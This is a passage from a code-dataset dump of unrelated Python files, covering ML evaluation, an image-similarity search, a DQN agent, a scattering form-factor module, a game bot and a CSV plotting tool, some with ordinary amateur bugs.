cross-validation.\n if args.eval_method == 'cv':\n \n # Initialize accumulator for fold results.\n cv_scores_fe = []\n\n # Initilize array for accumulating classification scoring reports.\n cr_fe = np.zeros((4, len(class_names)))\n\n # Perform CV.\n idx_it = 1\n for train_idx, test_idx in RepeatedStratifiedKFold(n_splits=N_SPLITS, n_repeats=N_REPEATS).split(data_fe, target_fe):\n data_train = data_fe[train_idx, :]\n data_test = data_fe[test_idx, :]\n target_train = target_fe[train_idx]\n target_test = target_fe[test_idx]\n clf_rf.fit(data_train, target_train)\n pred_test = clf_rf.predict(data_test)\n cv_scores_fe.append(accuracy_score(target_test, pred_test))\n cr_fe = cr_fe + np.array(precision_recall_fscore_support(target_test, pred_test, labels=list(np.arange(1,len(class_names)+1))))\n print(\"FE - finished {0}/{1}\".format(idx_it, N_SPLITS*N_REPEATS))\n idx_it += 1\n\n # Get mean classification report for feature engineering method.\n cv_cr_fe = cr_fe / (N_SPLITS*N_REPEATS)\n\n # Write classification scoring report.\n format_clf_report(cv_cr_fe, \"Feature Engineering\", class_names, DATASET_ID, CLF_REPORTS_PATH)\n\n else:\n\n # Split data into training and test sets.\n data_train, data_test, target_train, target_test = train_test_split(data_fe, target_fe, random_state=0, \n stratify=target_fe, test_size=0.2)\n \n # Train model and evaluate on test set.\n score = clf_rf.fit(data_train, target_train).score(data_test, target_test)\n print(\"Finised evaluating FE+RF model using a train-test split with score={0:.4f}.\".format(score))\n\n\n####################################################\n\n\n#### SAVE RESULTS TO FILE ##########################\n\nif args.eval_method == 'cv':\n\n # Set path to results file.\n RESULTS_PATH = './results/results.txt'\n\n # Open results file and append results.\n with open(RESULTS_PATH, 'a') as f:\n if os.path.isfile(RESULTS_PATH) and os.path.getsize(RESULTS_PATH) > 0:\n f.write('\\n')\n\n f.write('Date: {0}\\n'.format(datetime.datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")))\n f.write('Window size: {0}\\n'.format(data['window_size']))\n f.write('Overlap: {0}\\n'.format(data['overlap']))\n f.write('Deselected: {0}\\n'.format(data['deselect']))\n f.write('Dataset: {0}\\n'.format(DATASET_ID))\n f.write('\\n')\n f.write('Model | CV Score\\n')\n f.write('----------------\\n')\n if 'rf' in EVALUATE:\n f.write('RF | {0:.4f} +- {1:.4f}\\n'.format(np.sum(cv_scores_rf)/(N_SPLITS*N_REPEATS), np.std(cv_scores_rf)))\n if 'cnn' in EVALUATE:\n f.write('CNN | {0:.4f} +- {1:.4f}\\n'.format(np.sum(cv_scores_cnn)/(N_SPLITS*N_REPEATS), np.std(cv_scores_cnn)))\n if 'lstm' in EVALUATE:\n f.write('LSTM | {0:.4f} +- {1:.4f}\\n'.format(np.sum(cv_scores_lstm)/(N_SPLITS*N_REPEATS), np.std(cv_scores_lstm)))\n if 'fe' in EVALUATE:\n f.write('FE | {0:.4f} +- {1:.4f}\\n'.format(np.sum(cv_scores_fe)/(N_SPLITS*N_REPEATS), np.std(cv_scores_fe)))\n\n####################################################\n\n","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":16890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"188159183","text":"class Solution:\n def findMinArrowShots(self, points: List[List[int]]) -> int:\n \n if not points:\n return 0\n \n points.sort(key = lambda x:x[0])\n start, end, result = points[0][0],points[0][1], 1\n \n for point in points:\n if end >= point[0]:\n end = min(end,point[1])\n else:\n start, end = point[0], point[1]\n result+=1\n \n return result\n ","sub_path":"Python/Medium/452. Minimum Number of Arrows to Burst Balloons.py","file_name":"452. Minimum Number of Arrows to Burst Balloons.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"183775056","text":"# -*- coding: utf-8 -*-\nimport os\nimport tarfile\nimport pickle\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport PIL\n\nimport tensorflow as tf\n\nimport tensorflow.contrib.slim as slim\n\nimport tensorflow.contrib.slim.nets as nets\n\nfrom six.moves.urllib.request import urlretrieve\n\n\ndef get_file_name(path):\n\n filenames = os.listdir(path)\n path_filenames = []\n filename_list = []\n\n for file in filenames:\n\n if 'sift' not in file:\n\n if not file.startswith('.'):\n path_filenames.append(os.path.join(path, file))\n filename_list.append(file)\n\n return path_filenames\n\n\nsess = tf.InteractiveSession()\n\nimage = tf.Variable(tf.zeros((299, 299, 3)))\n\n\ndef network(image, reuse):\n\n preprocessed = tf.multiply(tf.subtract(tf.expand_dims(image, 0), 0.5), 2.0)\n arg_scope = nets.inception.inception_v3_arg_scope(weight_decay=0.0)\n\n with slim.arg_scope(arg_scope):\n\n logits, end_points = nets.inception.inception_v3(\n preprocessed, 1001, is_training=False, reuse=reuse)\n\n logits = logits[:, 1:]\n\n probs = tf.nn.softmax(logits)\n\n return logits, probs, end_points\n\n\nlogits, probs, end_points = network(image, reuse=False)\n\ncheckpoint_filename = \"./inception_v3.ckpt\"\n\nif not os.path.exists(checkpoint_filename):\n inception_tarball, _ = urlretrieve(\"http://download.tensorflow.org/models/inception_v3_2016_08_28.tar.gz\")\n\n tarfile.open(inception_tarball, 'r:gz').extractall(\"./\")\n\n\nrestore_vars = [var for var in tf.global_variables() if var.name.startswith('InceptionV3/')]\n\nsaver = tf.train.Saver(restore_vars)\n\nsaver.restore(sess, \"./inception_v3.ckpt\")\n\n\ndef get_feature(img, feature_layer_name):\n\n p, feature_values = sess.run([probs, end_points], feed_dict={image: img})\n\n return feature_values[feature_layer_name].squeeze()\n\n\nwith open('/home/linlinan/lln_features/test.pkl', 'rb') as f:\n feature_vectors = pickle.load(f)\n\n\nprint(feature_vectors.shape)\n\nlayer = 'PreLogits'\n\nimage_urls = get_file_name(\"/home/linlinan/lln_test_pic/\")\n\nimages = []\n\nfor idx, img_path in enumerate(image_urls):\n\n img = PIL.Image.open(img_path)\n\n img = img.resize((299, 299))\n\n images.append(img)\n\n\n# 这里是我添加\n\ntest_features = []\ntest_img = PIL.Image.open(\"/home/linlinan/yun_test/yangben_pic/shuhua/241572.jpg\")\n\ntest_img_resize = test_img.resize((299, 299))\n\ntest_features.append(get_feature((np.asarray(test_img_resize)/255.0).astype(np.float32), layer))\ntest_features_vectors = np.stack(test_features)\n\nprint(\"=\"*50)\n\nprint(feature_vectors.shape)\n\ntry:\n\n assert feature_vectors.shape == (2134, 2048), 'shape mismatch!'\n\nexcept Exception as ex:\n\n print(ex)\n\n\ndistance_euclidean = np.sum(np.power(test_features_vectors, 2), axis=1, keepdims=True) + np.sum(np.power(feature_vectors, 2),\n axis=1, keepdims=True).T - 2*np.dot(test_features_vectors, feature_vectors.T)\n\n\nprint(distance_euclidean.shape)\n\norder_euclidean = np.argsort(distance_euclidean[0])\n\nprint(order_euclidean.shape)\n\nplt.figure(figsize=(8, 8))\n\nfor idx_sim, i in enumerate(order_euclidean):\n\n similay_img = images[i]\n\n # 这里需要注意plt的subplot是从1开始计数的\n plt.subplot(4, 4, idx_sim + 1)\n\n plt.axis(\"off\")\n\n plt.imshow(similay_img)\n\n if idx_sim > 14:\n break\n\nplt.show()\n","sub_path":"search_pic.py","file_name":"search_pic.py","file_ext":"py","file_size_in_byte":3322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"191273434","text":"\nimport gym #type:ignore\nimport tensorflow as tf #type:ignore\nimport numpy as np #type:ignore\nfrom collections import deque\nimport time\nfrom typing import List\n\nclass ReplayBuffer:\n\n def __init__(self, buffer_size):\n self.replay_buffer = []\n self.buffer_size = buffer_size\n\n def sample_experience(self, batch_size):\n max_mem = min(self.buffer_size, len(self.replay_buffer))\n indices = np.random.randint(max_mem, size = batch_size)\n batch = [self.replay_buffer[index] for index in indices]\n states, actions, rewards, states_, dones = [np.array([experience[field_index] for experience in batch]) for field_index in range(5)]\n return (states, actions, rewards, states_, dones)\n\n\n\nclass Net:\n\n def __init__(self, input_shape, num_actions, learning_rate, batch_size, epsilon, eps_decay, discount_factor):\n\n self.input_ = tf.keras.layers.Input(shape = input_shape)\n self.hidden1 = tf.keras.layers.Dense(256, activation=\"relu\")(self.input_)\n self.hidden2 = tf.keras.layers.Dense(256, activation=\"relu\")(self.hidden1)\n self.output = tf.keras.layers.Dense(num_actions)(self.hidden2)\n self.learning_rate = learning_rate\n self.replay_buffer = ReplayBuffer(1000000)\n self.batch_size = batch_size\n self.epsilon = epsilon\n self.eps_decay = eps_decay\n self.num_actions = num_actions\n self.discount_factor = discount_factor\n self.model = tf.keras.Model(inputs = [self.input_], outputs=[self.output])\n self.model.compile(optimizer = tf.keras.optimizers.Adam(lr = self.learning_rate),loss = \"mean_squared_error\")\n\n def train(self):\n states, actions, rewards, states_, dones = self.replay_buffer.sample_experience(self.batch_size)\n # print(states.shape)\n # print(states)\n # print(states_.shape)\n\n # print(states.shape)\n predicted = self.model.predict(states)\n # print(predicted.shape)\n # print(rewards.shape)\n # rewards = rewards.reshape(-1,1)\n actual = np.copy(predicted)\n # dones = dones.reshape(-1,1)\n batch_index = np.arange(self.batch_size, dtype=np.int32)\n # print(f'bi:{batch_index.shape}')\n # print(f'act:{actions.shape}')\n actual[batch_index, actions] = rewards + self.discount_factor*np.max(self.model.predict(states_), axis=1)*(1-dones)#.reshape(-1,1)\n # print('np.max:',np.max(self.model.predict(states_), axis=1,keepdims=True)*(1-dones))\n # print(actual.shape)\n self.model.fit(states, actual, verbose=0, epochs=1)\n self.epsilon = self.epsilon - self.eps_decay if self.epsilon>=0.01 else 0.01\n\n def policy(self, state):\n\n # print(state)\n\n if np.random.random() 2:\n dqn_agent.train()\n\n if done:\n rewards.append(reward_total)\n print(f'Episode{episode} finished after {t} timesteps with running average {np.mean(rewards[-10:])} reward with epsilon {dqn_agent.epsilon}')\n if np.mean(rewards[-10:]) > best_running_avg:\n best_running_avg = np.mean(rewards[-10:])\n print(best_running_avg)\n tf.keras.models.save_model(dqn_agent.model, f'dqn-lunar-lander.h5')\n\n\n\n\n env.close()\n # tf.keras.models.save_model(dqn_agent.model, 'dqn.h5')\n","sub_path":"RL-Sandbox/dqn_acrobot.py","file_name":"dqn_acrobot.py","file_ext":"py","file_size_in_byte":4580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"360615480","text":"\n\n# a star in front of a function parameter means that you could pass 1 more or more argument to it\ndef meSum(*nums):\n sum = 0\n for i in nums:\n sum += i\n print(sum)\n\n\nmeSum(5,5,2)\n\n","sub_path":"functions/f2.py","file_name":"f2.py","file_ext":"py","file_size_in_byte":197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"16101975","text":"#! usr/bin/python3\n\"\"\"This file contains the basic functionality of the module.\nScatterers are initilized, shapes are declared. And analytical\nfunctions are run on the scatterers to produce intensity data\"\"\"\n\nimport numpy as np\nfrom scipy import integrate, special\nimport matplotlib.pyplot as plt\n\ndef ExpInit(q_min = 0.01, q_max = 0.31, q_len = 100, rho = 0.3):\n \"\"\"change global Q_RANGE constant, and RHO_SOLV\"\"\"\n q_vector = np.linspace(q_min, q_max, num = q_len)\n return q_vector, rho\n\nQ_RANGE, RHO_SOLV = ExpInit()\nQ_LEN = len(Q_RANGE)\n\ndef j0(x):\n \"\"\"The spherical bessel function of order zero\"\"\"\n return np.sin(x)/x\n\ndef j1(x):\n \"\"\"The spherical bessel function of order one\"\"\"\n return (np.sin(x)-x*np.cos(x))/x**2\n\n\nclass Scatterer(object):\n \"\"\"The basic class containing lists of shapes, and their\n parameters, calls functions to produce intensity plots\"\"\"\n def __init__(self):\n \"\"\"Initilize a scatterer. Contains a list of shapes,\n and a list of inter-shape distances\"\"\"\n self.shapes = []\n def Add(self, added):\n \"\"\"Method to add a shape to an instances own list of shapes\n while adding the radii\"\"\"\n self.shapes.append(added)\n def Scale(self):\n \"\"\"Calculating Scale normalizes the first point in\n the intensity data so it respects I(0) = rho^2 volume^2 \"\"\"\n self.scale = []\n for a in self.shapes:\n ff_0 = a.calc_ff(0)\n top = a.rho**2 * a.V**2\n scale = top/ff_0\n self.scale.append(scale)\n\n def pair_list(self):\n \"\"\"generator for 2d loop to 1d loop\"\"\"\n for x in range(len(self.shapes)):\n for y in range(len(self.shapes)):\n yield x,y\n\n def genE(self, q):\n \"\"\"generator for making the e^iqr factors\"\"\"\n input_length = q\n if len(self.shapes)<2:\n yield np.ones(len(q)) \n \n for A,B in self.pair_list():\n x1,y1,z1 = self.shapes[A].x , self.shapes[A].y, self.shapes[A].z\n x2,y2,z2 = self.shapes[B].x , self.shapes[B].y, self.shapes[B].z\n yield np.exp((0+-1j)*np.sqrt( (x1-x2)**2+(y1-y2)**2+(z1-z2)**2)*q)\n\n def genFF(self,q):\n \"\"\"generator for Form Factors\"\"\"\n for SHAPE in self.shapes:\n yield list(SHAPE.calc_ff(q))\n\n def genIQ(self):\n \"\"\"Generator for Computing the Intensity profile\n of scatterer it uses generator pipeline\"\"\"\n E,F = self.genE(Q_RANGE), self.genFF(Q_RANGE)\n Emat = np.asarray(list(E))\n FFmat= np.asarray(list(F))\n temp=0\n for i in range(len(Q_RANGE)):\n for a,b in self.pair_list():\n temp+=np.absolute((Emat[a][i]*FFmat[a][i])*\\\n np.conj(Emat[b][i]*FFmat[b][i]))\n yield temp\n temp = 0\n\n def Iq(self):\n \"\"\"Calculate Iq data points using only bound fq methods\n \"\"\"\n self.f2 = np.zeros([Q_LEN,1], dtype = np.complex64)\n self.fconjf = np.zeros([Q_LEN, 1], dtype = np.complex64)\n self.ff_summed = np.zeros([Q_LEN,1], dtype = np.complex64)\n \n j = 0\n while j 1:\n a = np.ceil(temp)\n temp = temp - a\n self.alpha = np.arccos(temp)\n print(self.alpha)\n self.dis = (self.x**2+self.y**2+self.z**2)**.5\t\t\n scatterer.Add(self)\n self.scale = 1\n \n def calc_ff(self, Q_VALS):\t\n for q in Q_VALS: \n temp = np.sin(self.theta)*np.cos(self.phi)+ np.sin(self.theta)*np.sin(self.phi)\n if temp < -1:\n a = np.floor(temp)\n temp = temp - a\n if temp > 1:\n a = np.ceil(temp)\n temp = temp - a\n self.alpha = np.arccos(temp)\n \n h,r,v,c, a= self.h,self.r,self.V,self.rho, self.alpha\n \n inside = q*r*np.sin(a)\n if a == 0:\n J1 = 0\n else:\n J1 = special.j1(inside)/(inside)\n \n inside = q*r*np.cos(a)\n if inside == 0:\n j0 = 1\n else:\n j0 = np.sin(inside)/inside\n temp = 2*(2*3.14*r*h)*c*j0*J1\n yield temp\n \n#-----------------Oriented Cylinder Shell---------------------------------\nclass shell_ori_cylinder(object):\n 'oriented cylinder shell'\n def __init__(self,scatterer,r_c, r_sh, length, rho_c, rho_sh ,theta, phi, x,y,z):\n self.x,self.y,self.z = x,y,z\n self.r_c, self.r_sh = r_c, r_sh\n self.t = r_sh - r_c\n self.l = length\n self.theta = theta\n self.phi = phi\n self.alpha = np.arccos(np.sin(theta)*np.cos(phi) + np.sin(theta)*np.sin(phi))\n self.rho_c = rho_c\n self.rho_sh = rho_sh\n self.t = r_sh - r_c\n self.v_sh = (3.14*(r_sh+self.t)**2)*length\n self.v_c = (3.14*(r_c)**2)*length\n scatterer.Add(self)\n\n def calc_ff(self, Q_VAL):\n for q in Q_VAL:\n a = 2*(self.rho_c - self.rho_sh)*self.v_c*j0(q*self.l*np.cos(self.alpha)*\\\n (j1(q*self.r_c*np.sin(self.alpha)))/(q*self.r_c*np.sin(self.alpha)))\t\n b = 2*(self.rho_sh-RHO_SOLV)*self.v_sh*j0(q*(self.l+self.t)*np.cos(self.alpha))*\\\n (j1(q*(self.r_sh)*np.sin(self.alpha)))/(q*self.r_sh*np.sin(self.alpha))\n temp = a + b \n yield temp\n\n#----------------Sphere Shell----------------------------------------------\nclass sphere_shell(object):\n def __init__(self, scatterer, r_sh, r_c, rho_c, rho_sh, x,y,z):\n self.r_sh = r_sh\n self.r_c = r_c\n self.rho_c = rho_c\n self.rho_sh = rho_sh\n self.V_c = (4*3.14/3)*r_c**3 \n self.V_sh = (4*3.14/3)*r_sh**3\t\n self.x = x\n self.y = y\n self.z = z\n scatterer.Add(self)\n self.scale = 1\n \n def calc_ff(self, Q_VAL):\n for q in Q_VAL:\n a = (3*self.V_c*(self.rho_c - self.rho_sh)*j1(q*self.r_c))/(q*self.r_c)\n b = (3*self.V_sh*(self.rho_sh -RHO_SOLV)*j1(q*self.r_sh))/(q*self.r_sh)\n temp = (1/self.V_sh)*(a+b)**2\n yield temp\n\n#----------------Elipsoid -------------------------------------------------\nclass ori_elipsoid(object):\n def __init__(self,scatterer, R_a, R_b, rho_cyl, theta, phi):\n self.R_a, self.R_b = R_a,R_b\n self.rho_cyl = rho_cyl\n self.theta, self.phi = theta, phi\n self.alpha = np.arccos(sin(theta)*cos(phi)+sin(theta)*sin(theta))\n self.V = (4/3)*3.14*R_a*R_b**2\n scatterer.Add(self)\n self.scale = 1\n\n def calc_ff(self, Q_VAL):\n for q in Q_VAL:\n r = (self.R_b**2 * sin(self.alpha)**2 + self.R_a**2 * cos(self.alpha)**2 )**.5\n a = 3*(self.rho_cyl - RHO_SOLV)*self.V\n b = (sin(q*r)-q*r*cos(q*r))\n c = (q*r)**3\n temp = self.scale*(a*b)/c\n yield temp\n\nclass oblate_ellipsoid_shell(object):\n def __init__(self, maj_c, min_c, maj_sh, min_sh, rho_c, rho_sh, x,y,z, theta, phi):\n self.maj_c, self.min_c = maj_c, min_c\n self.maj_sh, self.min_sh = maj_sh, min_sh\n self.rho_sh, self.rho_c = rho_sh, self.rho_c\t\n self.x,self.y,self.z = x,y,z\n self.Vc = (4/3)*3.14*min_c*(maj_c)**2\n self.Vsh = (4/3)*3.14*min_sh*(maj_sh)**2\n self.alpha = np.arccos((sin(theta)*cos(phi)+ sin(theta)*sin(phi)))\n\n def calc_ff(self, Q_VAL):\n for q in Q_VAL:\n u_c = q*(self.maj_c**2(1-self.alpha**2) + self.min_c**2 *self.alpha**2)\n u_sh= q*(self.maj_sh**2(1-self.alpha**2) + self.min_sh**2 *self.alpha**2)\n temp = 3*(self.rho_c - self.rho_sh)*self.Vc*j1(u_c)/u_c + 3(self.rho_sh - RHO_SOLV)*self.Vsh*j1(u_sh)/u_sh\n pq = temp**2/self.Vsh\n yield pq\n#----------------Ori paralellpiped----------------------------\nclass paralellpiped(object):\n def __init__(self, scatterer, rho, A,B,C, x_ang,y_ang, z_ang, x,y,z):\n self.typ = 1\t\n self.x,self.y,self.z = x,y,z\n self.A, self.B,self.C = A,B,C\n self.x_ang, self.y_ang, self.z_ang = x_ang,y_ang,z_ang\n self.rho = rho\n self.V = A*B*C\t\n scatterer.Add(self)\n \n def calc_ff(self, Q_VAL):\n for q in Q_VAL:\n qx = q * np.cos(self.x_ang)\n qy = q * np.cos(90 - self.y_ang)\n qz = q * np.cos(90 - self.z_ang)\t\t\t\n pq = lambda ang, side_len: np.sin(ang*side_len/2)/(ang*side_len/2)\n a = pq(qx, self.A)\n ff = self.rho*pq(qx, self.A)*pq(qy, self.B)*pq(qz, self.C)\n yield ff\n\nclass int_sphere(object):\n 'form factor for cartesion density fucntion rho'\n def __init__(self, scatterer,r, rho_x, rho_y,rho_z, x,y,z):\n self.r = r\n self.rho_x,self.rho_y,self.rho_z = rho_x,rho_y,rho_z\n self.x, self.y,self.z = x,y,z\n scatterer.Add(self) \n self.scale = 1\n\n def calc_ff(self,Q_VAL):\n for q in Q_VAL:\n r = self.r\t\n a_int= integrate.tplquad(lambda x,y,z:np.cos(q*(x**2+y**2+z**2)**.5), \n -r, r, \n lambda x:-(r**2-x**2)**.5, lambda x: (r**2-x**2)**.5, \n lambda x,y: -(r**2-x**2-y**2)**.5, lambda x,y: (r**2-x**2-y**2)**.5)\n b_int = integrate.tplquad(lambda x,y,z:np.sin(q*(x**2+y**2+z**2)**.5), \n -r, r, \n lambda x:-(r**2-x**2)**.5 ,lambda x: (r**2-x**2)**.5, \n lambda x,y: -(r**2-x**2-y**2)**.5, lambda x,y: (r**2-x**2-y**2)**.5)\t\n pq = (a_int[0]-1j*b_int[0])\n print(pq)\t\n yield pq\n\nclass int_sphere_sph(object):\n def __init__(self, scatterer, r, rho_r, rho_phi, rho_theta, x,y,z):\n self.r = r\n self.rho_r, self.rho_phi, self.rho_theta = rho_r, rho_phi, rho_theta\n self.x,self.y,self.z = x,y,z\n scatterer.Add(self)\n self.scale = 1\n\n def calc_ff(self,Q_VAL):\n for q in Q_VAL:\n a_int_r = integrate.quad(lambda x: self.rho_r(x)*np.cos(x*q), -self.r, self.r)\n b_int_r = integrate.quad(lambda x: self.rho_r(x)*np.sin(x*q), -self.r, self.r)\n int_phi = integrate.quad(lambda x: self.rho_phi(x), 0, 3.14*2)\n int_theta = integrate.quad(lambda x: self.rho_theta(x), 0, 3.14)\n \n temp = (a_int_r[0] - 1j*b_int_r[0])*int_phi[0]*int_theta[0]\n yield temp\n \nclass int_paralellpiped(object):\n def __init__(self, scatterer, A, B,C, rho_x ,rho_y, rho_z, x,y,z, x_ang, y_ang, z_ang):\n self.A,self.B,self.C = A,B,C\n self.x,self.y,self.z = x,y,z\n self.rho_x, self.rho_y, self.rho_z = rho_x,rho_y, rho_z\n self.x_ang, self.y_ang, self.z_ang = x_ang,y_ang,z_ang\n scatterer.Add(self)\t\n\n def calc_ff(self, Q_VAL):\n for q in Q_VAL:\n qx = q * cos(self.x_ang)\n qy = q * cos(90 - self.y_ang)\n qz = q * cos(90 - self.z_ang)\n\n fun = lambda x,qx: np.exp(-1j*x*qx) \n a = integrate.quad(lambda x: cos(qx*x)*self.rho_x(x), 0, self.A)\n ai = integrate.quad(lambda x: sin(qx*x)*self.rho_x(x), 0, self.A)\n b = integrate.quad(lambda x: cos(x*qy)*self.rho_y(x), 0, self.B)\n bi = integrate.quad(lambda x: sin(qy*x)*self.rho_y(x), 0, self.B)\n c = integrate.quad(lambda x: cos(x*qz)*self.rho_z(x), 0, self.C)\n ci = integrate.quad(lambda x: sin(x*qz)*sefl.rho_z(x), 0, self.C)\n pq = (a[0]-1j*ai[0])*(b[0]-1j*bi[0])*(c[0]-1j*ci[0])\n yield pq\n\nclass int_cylinder(object):\n def __init__(self, scatterer, R, L, rho_R, rho_L, rho_theta, theta, phi, x,y,z):\n self.x,self.y,self.z = x,y,z\n self.R,self.L = R,L\n self.rho_R, self.rho_L,self.rho_theta = rho_R,rho_L,rho_theta\n self.theta, self.phi = theta, phi\n scatterer.Add(self)\n\n def calc_ff(self,Q_VAL):\n for q in Q_VAL:\n muz = np.cos(self.theta)\n mul = np.cos(self.phi)\n fz = integrate.quad(lambda x: cos(q*muz*x)*self.rho(x), -self.L/2, self.L/2)\n fzi = integrate.quad(lambda x: sin(q*muz*x)*rho_L(x),-self.L/2, self.L/2)\n fl = integrate.dblquad(lambda x,y: x*cos(q*(1-mul**2)**.5*cos(y)*x)*self.rho_theta(y)*self.rho_R(R), 0, 2*3.14, 0, self.R)\t\n fli = integrate.dblquad(lambda x,y: x*sin(q*(1-mul**2)**.5*cos(y)*x), 0,2*3.14, 0, self.R)\n pq = (fl[0]-1j*fli[0])*(fz[0]-1j*flz[0])*(1/(self.L*3.14*self.R**2))\n yield pq\t\t \n#=====================Fitting and Analysis==============================\n#\tRigid Body Modeling for Model Scatterers\n#======================================================================\ndef chi_sq(model, exp):\n model_iq = model.Iq()\t\n Chi_sq = np.sum((model_iq-exp)**2/exp)\n return chi_sq\n#-----------------------Fit dis-----------------------------------------\ndef pwd_Iq(pwd, ff_mat):\t\n temp_list = []\n for q in Q_RANGE:\n temp = 0\t\n it = np.nditer(pwd, flags ='multi_index')\t\t\n while not it.finished:\t\n a = it.multi_index\n temp = temp + pwd.ff_mat(a[0])*np.exp(-1j*q*it[0])*np.conj(pwd.ff_mat(a[1]))\t\t\n temp_list.append(temp)\n temp_list = np.asarray(temp_list)\t\n return temp_list\n\ndef fit_dis(model, exp, s_len):\n shapes_len = len(model.shapes)\t\n r_mat = np.zeros(shapes_len,shapes_len) \n\n model.make_ffmat()\n \n j = 0\n k = 0\n while j %s\" % (source, dest))\n _bot.place_move(source, dest)\n\n\n# ======================== Move Priority ======================== #\n\ndef move_priority():\n (source, dest) = bot_moves.move_priority(_map)\n if source and dest:\n place_move(source, dest)\n return True\n return False\n\n\n# ======================== Move Outward ======================== #\n\ndef move_outward():\n (source, dest) = bot_moves.move_outward(_map)\n if source and dest:\n place_move(source, dest)\n return True\n return False\n\n\n# ======================== Move Toward ======================== #\n\ndef move_toward():\n _map.path = bot_moves.path_proximity_target(_map)\n (move_from, move_to) = bot_moves.move_path(_map.path)\n if move_from and move_to:\n place_move(move_from, move_to)\n return True\n return False\n\n\n# ======================== Main ======================== #\n\n# Start Game\n\nif __name__ == '__main__':\n startup.startup(make_move, bot_name=\"PurdueBot-T\")\n","sub_path":"bot_test.py","file_name":"bot_test.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"128162922","text":"# 2020.03.17. - FGR\n# INSTALLED PACKAGES:\n# matplotlib threw errors when it was installed with conda.\n# I reinstalled these packages with 'pip' and it fixed the errors\n# ----------------------------------------------------------------------\n# pip list (or conda list)\n# pandas 1.0.2 pypi_0 pypi\n# numpy 1.18.1 py37h93ca92e_0\n# matplotlib 3.2.0 pypi_0 pypi\n# ----------------------------------------------------------------------\n\nimport pandas as pd\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom matplotlib.widgets import Button\n\ndef main(): \n filesList = ['DATA1', 'DATA2', 'DATA3', 'DATA4', 'DATA5']\n\n doProcessing = input('Do you want to process ' + str(filesList) + ' files? (y/n)')\n # Process all data if asked\n if (doProcessing.lower() == 'y') :\n for file in filesList :\n processData(file)\n\n # Do the plotting if asked\n doPlotting = input('Do you want to plot the data from \\'' + str(filesList[1]) + '\\' ? (y/n)')\n if (doPlotting.lower() == 'y') : \n showData(filesList)\n\n# Plotting function with next button and stats in terminal\ndef showData(filesList) :\n global index\n global adatok\n # Read the input data\n adatok = pd.read_csv('exports\\\\' + filesList[1] + '.csv', sep = ';')\n # Set the starting index of the data to be plotted\n index = 5\n # Create the scatter plot and add labels\n plt.scatter(adatok.loc[:,'Relativzeit'], adatok.iloc[:, index])\n plt.xlabel(adatok.columns[index])\n plt.ylabel('Relativzeit')\n\n # Create the 'next' nextButton\n subax = plt.axes([0.8, 0.025, 0.1, 0.04])\n nextButton = Button(subax, 'Next', color='red', hovercolor='0.975')\n\n # Enter the update method when clicked\n nextButton.on_clicked(update)\n\n # Show plot\n plt.show()\n\n# Convert function for numbers to characters\ndef convert(uniquesArray) :\n # Create uniqueChars array with the same size as the input\n uniqueCharsArray = uniquesArray\n \n # Enumerate the input array and convert each number to its ASCII character. Simply its chr(c), but we strip the input numbers to be sure\n for index, c in enumerate(uniquesArray) :\n try:\n uniqueCharsArray[index] = chr(int(str(c).strip()))\n index += 1\n except:\n print('error with: ' + str(c))\n \n return uniqueCharsArray\n\n# Update function for the button\ndef update(event):\n # Increment 'index' by 1\n global index\n index += 1\n\n # Clear the figure\n plt.clf()\n\n # Recreate the figure with data from the next column\n plt.scatter(adatok.loc[:,'Relativzeit'], adatok.iloc[:, index])\n plt.xlabel(adatok.columns[index])\n\n # Recreate the nextButton\n global subax\n subax = plt.axes([0.8, 0.025, 0.1, 0.04])\n global nextButton \n nextButton = Button(subax, 'Next', color='red', hovercolor='0.975')\n\n # Actually redraw the figure\n plt.draw()\n\n # Calculate min and max of the data\n plotMin = np.min(adatok.iloc[:, index])\n plotMax = np.max(adatok.iloc[:, index])\n\n # Print stats\n if plotMax == plotMin :\n print(str(index) + \" - \" + adatok.columns[index] + \" | constant value: \" + str(plotMin))\n else :\n uniques = pd.unique(adatok.iloc[:, index])\n print(str(index) + \" - \" + adatok.columns[index] + ' | Unique ASCII characters: ' + str(convert(uniques.tolist())) + \" | min: \" + str(plotMin) + \" | max: \" + str(plotMax))\n\n # Run the update again when clicked\n nextButton.on_clicked(update)\n\ndef processData(fileToOpen) :\n # Open output file\n adatok = pd.read_csv('exports\\\\' + fileToOpen + '.csv', sep = ';')\n output = open('exports\\\\' + fileToOpen + '_processed.csv', 'w')\n\n # Create the header\n output.write(\"Index\\tName\\tIsConst\\tMin\\tMax\\tUnique values\\tUnique values in characters\\n\")\n\n for i in range(5, 98) :\n plotMin = np.min(adatok.iloc[:, i])\n plotMax = np.max(adatok.iloc[:, i])\n uniques = pd.unique(adatok.iloc[:, i])\n\n # Case of constant value\n if plotMax == plotMin :\n output.write(str(i) + \"\\t\" + adatok.columns[i] + \"\\tTrue\\t\\t\\t\" + str(uniques.tolist()) + \"\\t\" + str(convert(uniques.tolist())))\n output.write('\\n')\n \n # Counter has too many values and is not relevant\n elif adatok.columns[i] == 'ATR.IN.HEADER.RECIEVE_COUNT_B' :\n output.write(str(i) + \"\\t\" + adatok.columns[i] + \"\\t\" + 'Increasing')\n output.write('\\n')\n else :\n print(uniques.tolist())\n print(convert(uniques.tolist()))\n output.write(str(i) + \"\\t\" + adatok.columns[i] + \"\\tFalse\\t\" + str(plotMin) + \"\\t\" + str(plotMax) + \"\\t\" + str(uniques.tolist()) + \"\\t\" + str(convert(uniques.tolist())))\n output.write('\\n')\n\n # Close the output file\n output.close()\n\n\n# Run main\nif __name__ == \"__main__\":\n main()","sub_path":"archive/data2_v2.py","file_name":"data2_v2.py","file_ext":"py","file_size_in_byte":4959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"367342355","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport math\nimport sys\n\nout_file = 